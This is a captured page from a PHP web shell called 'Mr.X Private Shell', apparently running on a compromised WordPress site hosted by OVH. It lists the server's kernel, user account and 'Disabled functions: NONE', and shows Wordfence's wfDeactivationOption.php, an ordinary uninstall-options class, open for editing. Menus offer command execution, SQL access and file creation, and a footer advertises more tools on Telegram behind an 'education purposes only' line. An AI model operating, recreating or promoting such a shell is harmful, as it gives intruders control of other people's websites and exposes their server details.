Uname: Linux webm005.cluster107.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
User: 6036 (villadal)
Group: 100 (users)
Disabled functions: NONE
Safe mode: On[ PHPinfo ]
//home/villadal/www///wp-content/plugins/wordfence/lib      ( Reset | Go to )
File Name: wfDeactivationOption.php
Edit
<?php

class wfDeactivationOption {

    const 
RETAIN 'retain';
    const 
DELETE_MAIN 'delete-main';
    const 
DELETE_LOGIN_SECURITY 'delete-wfls';
    const 
DELETE_ALL 'delete-all';

    private static 
$options = array();

    private 
$key;
    private 
$label;
    private 
$deleteMain$deleteLoginSecurity;

    private function 
__construct($key$label$deleteMain$deleteLoginSecurity) {
        
$this->key $key;
        
$this->label $label;
        
$this->deleteMain $deleteMain;
        
$this->deleteLoginSecurity $deleteLoginSecurity;
    }

    public function 
getKey() {
        return 
$this->key;
    }

    public function 
getLabel() {
        return 
$this->label;
    }

    public function 
deletesMain() {
        return 
$this->deleteMain;
    }

    public function 
deletesLoginSecurity() {
        return 
$this->deleteLoginSecurity;
    }

    public function 
matchesState($deleteMain$deleteLoginSecurity) {
        return 
$deleteMain === $this->deleteMain && $deleteLoginSecurity === $this->deleteLoginSecurity;
    }

    private static function 
registerOption($option) {
        
self::$options[$option->getKey()] = $option;
    }

    private static function 
initializeOptions() {
        if (empty(
self::$options)) {
            
$options = array(
                new 
self(self::RETAIN__('Keep all Wordfence tables and data''wordfence'), falsefalse),
                new 
self(self::DELETE_MAIN__('Delete Wordfence tables and data, but keep Login Security tables and 2FA codes''wordfence'), truefalse),
                new 
self(self::DELETE_LOGIN_SECURITY__('Delete Login Security tables and 2FA codes, but keep Wordfence tables and data''wordfence'), falsetrue),
                new 
self(self::DELETE_ALL__('Delete all Wordfence tables and data''wordfence'), truetrue)
            );
            foreach (
$options as $option)
                
self::registerOption($option);
        }
    }

    public static function 
getAll() {
        
self::initializeOptions();
        return 
self::$options;
    }

    public static function 
forKey($key) {
        
self::initializeOptions();
        return 
array_key_exists($keyself::$options) ? self::$options[$key] : null;
    }

    public static function 
forState($deleteMain$deleteLoginSecurity) {
        foreach (
self::getAll() as $option) {
            if (
$option->matchesState($deleteMain$deleteLoginSecurity))
                return 
$option;
        }
        return 
null;
    }

}

All system for education purposes only. For more tools: Telegram @jackleet

Mr.X Private Shell

Logo
-
New File | New Folder
Command
SQL